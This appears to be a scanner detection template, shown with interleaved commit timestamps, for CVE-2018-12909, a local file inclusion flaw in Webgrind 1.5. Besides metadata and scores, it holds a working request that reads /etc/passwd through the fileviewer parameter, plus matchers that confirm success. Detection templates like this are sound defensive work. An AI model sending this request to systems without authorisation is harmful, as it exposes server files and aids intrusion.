2023-08-05 07:29:56 +00:00
id : CVE-2018-12909
info :
name : Webgrind <= 1.5 - Local File Inclusion
author : DhiyaneshDk
severity : high
description : |
Webgrind 1.5 relies on user input to display a file, which lets anyone view files from the local filesystem (that the webserver user has access to) via an index.php?op=fileviewer&file= URI
reference :
- https://github.com/Threekiii/Awesome-POC/blob/master/Web%E5%BA%94%E7%94%A8%E6%BC%8F%E6%B4%9E/Webgrind%20fileviewer.phtml%20%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AF%BB%E5%8F%96%E6%BC%8F%E6%B4%9E%20CVE-2018-12909.md
- https://github.com/jokkedk/webgrind/issues/112
2023-08-07 17:25:27 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2018-12909
2023-08-05 07:29:56 +00:00
classification :
cvss-metrics : CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score : 7.5
2023-08-31 11:46:18 +00:00
cve-id : CVE-2018-12909
2023-08-05 07:29:56 +00:00
cwe-id : CWE-22
2023-08-31 11:46:18 +00:00
epss-score : 0.01119
cpe : cpe:2.3:a:webgrind_project:webgrind:1.5.0:*:*:*:*:*:*:*
epss-percentile : 0.82786
2023-08-05 07:29:56 +00:00
metadata :
max-request : 1
verified : true
2023-08-07 17:25:27 +00:00
fofa-query : app="Webgrind"
2023-08-31 11:46:18 +00:00
vendor : webgrind_project
product : webgrind
2023-08-05 07:29:56 +00:00
tags : cve,cve2018,lfi,webgrind
http :
- method : GET
path :
- "{{BaseURL}}/index.php?op=fileviewer&file=/etc/passwd"
matchers-condition : and
matchers :
- type : regex
part : body
regex :
- 'root:.*:0:0:'
- 'webgrind'
2023-08-07 17:25:27 +00:00
condition : and
2023-08-05 07:29:56 +00:00
- type : status
status :
- 200